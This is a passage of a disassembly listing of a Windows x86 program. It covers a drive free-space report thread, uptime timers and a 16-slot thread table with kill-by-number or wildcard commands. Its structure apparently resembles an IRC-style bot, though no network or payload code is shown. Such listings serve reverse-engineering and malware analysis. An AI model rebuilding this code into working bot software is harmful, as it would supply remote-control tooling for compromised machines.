		jz	short loc_40906A
		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_40907D
; ---------------------------------------------------------------------------


loc_40906A:				; CODE XREF: sub_408F2E+10Dj
					; sub_408F2E+116j
		push	8
		push	0
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40907D:				; CODE XREF: sub_408F2E+13Aj
		push	0
		push	100000h
		push	[ebp+var_428]
		push	[ebp+var_42C]
		call	sub_416C90
		mov	[ebp+var_42C], eax
		mov	[ebp+var_428], edx
		cmp	[ebp+var_410], 0
		jnz	short loc_4090BF
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	short loc_4090C6
; ---------------------------------------------------------------------------


loc_4090BF:				; CODE XREF: sub_408F2E+17Aj
		and	[ebp+var_410], 0


loc_4090C6:				; CODE XREF: sub_408F2E+18Fj
		mov	eax, [ebp+var_42C]
		or	eax, [ebp+var_428]
		test	eax, eax
		jz	short loc_40910A
		push	[ebp+var_428]
		push	[ebp+var_42C]
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193E4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_409130
; ---------------------------------------------------------------------------


loc_40910A:				; CODE XREF: sub_408F2E+1A6j
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193D4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h


loc_409130:				; CODE XREF: sub_408F2E+1DAj
		mov	eax, [ebp+var_42C]
		mov	ecx, [ebp+var_414]
		add	ecx, eax
		mov	[ebp+var_414], ecx
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_409151:				; CODE XREF: sub_408F2E+92j
					; sub_408F2E+9Fj
		mov	al, byte ptr [ebp+var_424]
		add	al, 1
		mov	byte ptr [ebp+var_424],	al
		movsx	eax, byte ptr [ebp+var_424]
		cmp	eax, 5Ah
		jnz	loc_408FA6
		cmp	[ebp+var_5D8], 0
		jz	short loc_40918B
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40918B:				; CODE XREF: sub_408F2E+248j
		push	[ebp+var_414]
		push	[ebp+var_5D8]
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_41939C
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_408F2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091E2	proc near		; CODE XREF: sub_40A9CF+1C61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4091FC
		jmp	short locret_409224
; ---------------------------------------------------------------------------


loc_4091FC:				; CODE XREF: sub_4091E2+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408F2E
		call	sub_4095A4
		add	esp, 10h

locret_409224:				; CODE XREF: sub_4091E2+18j
		leave
		retn
sub_4091E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409226	proc near		; CODE XREF: .data:00416A06p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_40928E
		jg	short loc_40924E
		cmp	[ebp+var_8], 0
		jbe	short loc_40928E


loc_40924E:				; CODE XREF: sub_409226+20j
		cmp	[ebp+var_C], 0
		jl	short loc_40928E
		jg	short loc_40925C
		cmp	[ebp+var_10], 0
		jbe	short loc_40928E


loc_40925C:				; CODE XREF: sub_409226+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		mov	dword_41E2D0, eax
		jmp	short locret_4092A2
; ---------------------------------------------------------------------------


loc_40928E:				; CODE XREF: sub_409226+1Ej
					; sub_409226+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_41E2D0, eax

locret_4092A2:				; CODE XREF: sub_409226+66j
		leave
		retn
sub_409226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A4	proc near		; CODE XREF: sub_4083AD+61p
					; sub_40A9CF+1CCAp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409307
		jg	short loc_4092CC
		cmp	[ebp+var_8], 0
		jbe	short loc_409307


loc_4092CC:				; CODE XREF: sub_4092A4+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409307
		jg	short loc_4092DA
		cmp	[ebp+var_10], 0
		jbe	short loc_409307


loc_4092DA:				; CODE XREF: sub_4092A4+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		jmp	short locret_409316
; ---------------------------------------------------------------------------


loc_409307:				; CODE XREF: sub_4092A4+1Ej
					; sub_4092A4+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

locret_409316:				; CODE XREF: sub_4092A4+61j
		leave
		retn
sub_4092A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409318	proc near		; CODE XREF: sub_408B30:loc_408BBCp
					; sub_40A9CF:loc_40C715p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409381
		jg	short loc_409340
		cmp	[ebp+var_8], 0
		jbe	short loc_409381


loc_409340:				; CODE XREF: sub_409318+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409381
		jg	short loc_40934E
		cmp	[ebp+var_10], 0
		jbe	short loc_409381


loc_40934E:				; CODE XREF: sub_409318+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		sub	eax, dword_41E2D0
		jmp	short locret_40938D
; ---------------------------------------------------------------------------


loc_409381:				; CODE XREF: sub_409318+1Ej
					; sub_409318+26j ...
		call	dword_4170D0	; GetTickCount
		sub	eax, dword_41E2D0

locret_40938D:				; CODE XREF: sub_409318+67j
		leave
		retn
sub_409318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938F	proc near		; CODE XREF: .data:004168C6p
		push	ebp
		mov	ebp, esp
		and	dword_41E2F0, 0
		push	1980h
		call	sub_416B46	; malloc
		pop	ecx
		mov	dword_41E2F8, eax
		push	offset dword_41E2D8
		call	sub_409C36
		pop	ecx
		pop	ebp
		retn
sub_40938F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093B6	proc near		; DATA XREF: sub_409479+35o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417278
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_20]
		call	dword_4170DC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_409431
		cmp	dword_41DE38, 0
		jz	short loc_40942F
		push	[ebp+var_20]
		push	offset dword_419474
		push	offset dword_41DAB4
		call	sub_40D4AB
		add	esp, 0Ch


loc_40942F:				; CODE XREF: sub_4093B6+62j
		jmp	short loc_409443
; ---------------------------------------------------------------------------


loc_409431:				; CODE XREF: sub_4093B6+59j
		push	[ebp+var_1C]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]
		jmp	short loc_409468
; ---------------------------------------------------------------------------


loc_409443:				; CODE XREF: sub_4093B6:loc_40942Fj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_409466
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_409466:				; CODE XREF: sub_4093B6+91j
		xor	eax, eax


loc_409468:				; CODE XREF: sub_4093B6+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4093B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409479	proc near		; CODE XREF: sub_40764D+14Ap
					; sub_409BF1+2Fp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	8
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_409494
		xor	eax, eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_409494:				; CODE XREF: sub_409479+15j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_C]
		push	offset sub_4093B6
		push	20000h
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4094D9
		push	[ebp+var_4]
		call	dword_4170A4	; CloseHandle
		push	1
		pop	eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_4094D9:				; CODE XREF: sub_409479+50j
		push	[ebp+var_C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax

locret_4094E4:				; CODE XREF: sub_409479+19j
					; sub_409479+5Ej
		leave
		retn
sub_409479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094E6	proc near		; DATA XREF: sub_4095A4+159o

var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417288
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_41DE30
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+10h]
		mov	[ebp+var_1A0], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		mov	[ebp+var_1A4], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1A4]
		jmp	short loc_409593
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_409593:				; CODE XREF: sub_4094E6+8Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4094E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A4	proc near		; CODE XREF: sub_4017AA+A2p
					; sub_401D6E+8Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		cmp	dword_41E2F0, 10h
		jnz	short loc_4095D9
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_4095D9:				; CODE XREF: sub_4095A4+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_409627
		and	[ebp+var_10], 0
		jmp	short loc_4095EC
; ---------------------------------------------------------------------------


loc_4095E5:				; CODE XREF: sub_4095A4:loc_409625j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4095EC:				; CODE XREF: sub_4095A4+3Fj
		cmp	[ebp+var_10], 10h
		jge	short loc_409627
		mov	eax, [ebp+var_10]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	eax, [ecx+eax+10h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409625
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409625:				; CODE XREF: sub_4095A4+64j
		jmp	short loc_4095E5
; ---------------------------------------------------------------------------


loc_409627:				; CODE XREF: sub_4095A4+39j
					; sub_4095A4+4Cj
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		jmp	short loc_409638
; ---------------------------------------------------------------------------


loc_409631:				; CODE XREF: sub_4095A4:loc_409672j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_409638:				; CODE XREF: sub_4095A4+8Bj
		cmp	[ebp+var_8], 10h
		jge	short loc_409674
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jnz	short loc_409672
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_409674
; ---------------------------------------------------------------------------


loc_409672:				; CODE XREF: sub_4095A4+AEj
		jmp	short loc_409631
; ---------------------------------------------------------------------------


loc_409674:				; CODE XREF: sub_4095A4+98j
					; sub_4095A4+CCj
		cmp	[ebp+var_C], 0
		jnz	short loc_409695
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409695:				; CODE XREF: sub_4095A4+D4j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096A3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx


loc_4096A3:				; CODE XREF: sub_4095A4+F5j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_C]
		add	eax, 14h
		push	eax
		call	sub_416DC6	; vsprintf
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+4], 0
		mov	eax, dword_41E2F0
		inc	eax
		mov	dword_41E2F0, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_4096EB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		jmp	short loc_4096F1
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_4095A4+13Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax


loc_4096F1:				; CODE XREF: sub_4095A4+145j
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		push	eax
		push	0
		push	[ebp+var_14]
		push	offset sub_4094E6
		push	0
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	ecx, [ebp+var_C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_409753
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		push	198h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short locret_409761
; ---------------------------------------------------------------------------


loc_409753:				; CODE XREF: sub_4095A4+177j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		push	1
		pop	eax

locret_409761:				; CODE XREF: sub_4095A4+30j
					; sub_4095A4+7Cj ...
		leave
		retn
sub_4095A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409763	proc near		; CODE XREF: sub_401244+73p
					; sub_401244+547p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	dword_4170A4	; CloseHandle
		push	198h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		pop	ebp
		retn
sub_409763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097A7	proc near		; CODE XREF: sub_40A9CF+EBFp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4097BB
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_4097BB:				; CODE XREF: sub_4097A7+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409825
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	dword ptr [ecx+eax+4], 1


loc_409815:				; CODE XREF: sub_4097A7+3Fj
					; sub_4097A7+55j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_409825:				; CODE XREF: sub_4097A7+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2F0
		mov	[ebp+var_8], eax
		and	[ebp+var_194], 0
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_4097A7:loc_4098E1j
		mov	eax, [ebp+var_194]
		inc	eax
		mov	[ebp+var_194], eax


loc_40986A:				; CODE XREF: sub_4097A7+B4j
		cmp	[ebp+var_194], 10h
		jnb	short loc_4098E6
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4098E1
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4098D9
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	dword ptr [ecx+eax+4], 1


loc_4098D9:				; CODE XREF: sub_4097A7+116j
		cmp	[ebp+var_8], 0
		jnz	short loc_4098E1
		jmp	short loc_4098E6
; ---------------------------------------------------------------------------


loc_4098E1:				; CODE XREF: sub_4097A7+E3j
					; sub_4097A7+136j
		jmp	loc_40985D
; ---------------------------------------------------------------------------


loc_4098E6:				; CODE XREF: sub_4097A7+CAj
					; sub_4097A7+138j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx

locret_4098F1:				; CODE XREF: sub_4097A7+Fj
					; sub_4097A7+79j
		leave
		retn
sub_4097A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F3	proc near		; CODE XREF: sub_40A9CF+F13p

var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 19Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_409907
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_409907:				; CODE XREF: sub_4098F3+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	loc_4099B4
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_4099A4
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4099A4
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_8], eax
		push	198h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_8]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle


loc_4099A4:				; CODE XREF: sub_4098F3+43j
					; sub_4098F3+59j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_4099B4:				; CODE XREF: sub_4098F3+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2F0
		mov	[ebp+var_C], eax
		and	[ebp+var_198], 0
		jmp	short loc_4099F9
; ---------------------------------------------------------------------------


loc_4099EC:				; CODE XREF: sub_4098F3:loc_409AC3j
		mov	eax, [ebp+var_198]
		inc	eax
		mov	[ebp+var_198], eax


loc_4099F9:				; CODE XREF: sub_4098F3+F7j
		cmp	[ebp+var_198], 10h
		jnb	loc_409AC8
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	loc_409AC3
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_194]
		push	eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409ABB
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_19C], eax
		push	198h
		push	0
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_19C]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_19C]
		call	dword_4170A4	; CloseHandle


loc_409ABB:				; CODE XREF: sub_4098F3+161j
		cmp	[ebp+var_C], 0
		jnz	short loc_409AC3
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------


loc_409AC3:				; CODE XREF: sub_4098F3+12Aj
					; sub_4098F3+1CCj
		jmp	loc_4099EC
; ---------------------------------------------------------------------------


loc_409AC8:				; CODE XREF: sub_4098F3+10Dj
					; sub_4098F3+1CEj
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx

locret_409AD3:				; CODE XREF: sub_4098F3+Fj
					; sub_4098F3+BCj
		leave
		retn
sub_4098F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD5	proc near		; DATA XREF: sub_409BF1+2Ao

var_1A8		= byte ptr -1A8h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	1A3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
